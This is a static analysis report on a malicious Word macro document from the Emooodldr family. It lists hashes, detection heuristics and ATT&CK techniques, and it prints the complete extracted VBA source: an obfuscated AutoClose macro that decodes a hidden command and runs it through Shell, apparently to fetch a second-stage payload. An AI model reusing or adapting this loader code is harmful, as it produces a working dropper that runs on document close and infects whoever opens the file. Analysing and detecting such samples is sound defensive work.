Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 cce6c0a11c9c10ef…

MALICIOUS

Office (OOXML)

54.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-10-30
MD5: 402496b36984ba7d4f384e6d37f29e2f SHA-1: bf781f9ca6bf84691af81afe2377f3e953dc6c98 SHA-256: cce6c0a11c9c10efbe0b7b6f5d8ca6150886188dc748c1d372358bd4e62cc720
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function. The VBA code appears to deobfuscate and execute a command, likely to download and run a secondary payload, which is characteristic of the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2071 bytes
SHA-256: b2f0054fb3c35e62bfaee84bcad6b9294887af06d0f00cf0a9663df8a7e48879
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pottiness(superplease)
  rier = Array("O", "3", "1", "Y", "2", "j", "F", "M", "H", "8", "L", "k", "W", "q", "l", "Z", "p", "r", "i", "a", "n", "R", "C", "7", "y")
  exegesis = Array("c", "n", "d", "x", "t", "=", "p", " ", "m", "b", "u", "j", "?", "a", "/", "o", "e", "O", "i", "z", "s", ":", "h", ".", "U")
  
  sinoper = vbNullString
  
  For Each impassion In superplease
    pentahedrons = Application.Run("alembroth", impassion, rier)
    If pentahedrons > -1 And pentahedrons < 99212 Then
    sinoper = exegesis(pentahedrons) + sinoper
    End If
  Next
  
  pottiness = StrReverse(sinoper)
  
End Function

Public Function alembroth(whicken, paroxytonic)

  pickietar = 81818
  epitaxiesator = -1
  For Each electromuscular In paroxytonic
    If electromuscular = whicken Then
     pickietar = epitaxiesator
     Exit For
    End If

    epitaxiesator = epitaxiesator + 1
    
  Next

  
  If pickietar = 81818 Then
    pickietar = -1
  End If


  alembroth = pickietar + 1
End Function




Sub AutoClose()
  superplease = Array("H", "n", "C", "2", "q", "7", "p", "Y", "p", "M", "C", "2", "2", "F", "R", "l", "l", "Z", "q", "i", "k", "8", "L", "a", "Y", "O", "L", "3", "q", "n", "1", "k", "3", "7", "O", "Z", "H", "l", "r", "y", "l", "n", "H", "i", "Y", "7", "F", "C", "F", "W", "L", "2", "H", "q", "j", "3", "3", "i", "i", "q")
  cojuror = pottiness(superplease)
  
  Application.Run "maudlinize", (cojuror)
  
End Sub


Private Sub maudlinize(footer)
   
   canioned = 69172
   dibber = True
   
   While dibber
     relinquishes = canioned + 91723
     If relinquishes - canioned > 297 Then
       VBA.Shell footer, vbNormalFocus - 1
       dibber = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: f7478358e1e376a9ce8644862703971de16385798fb016be9428859fb5a0e30b
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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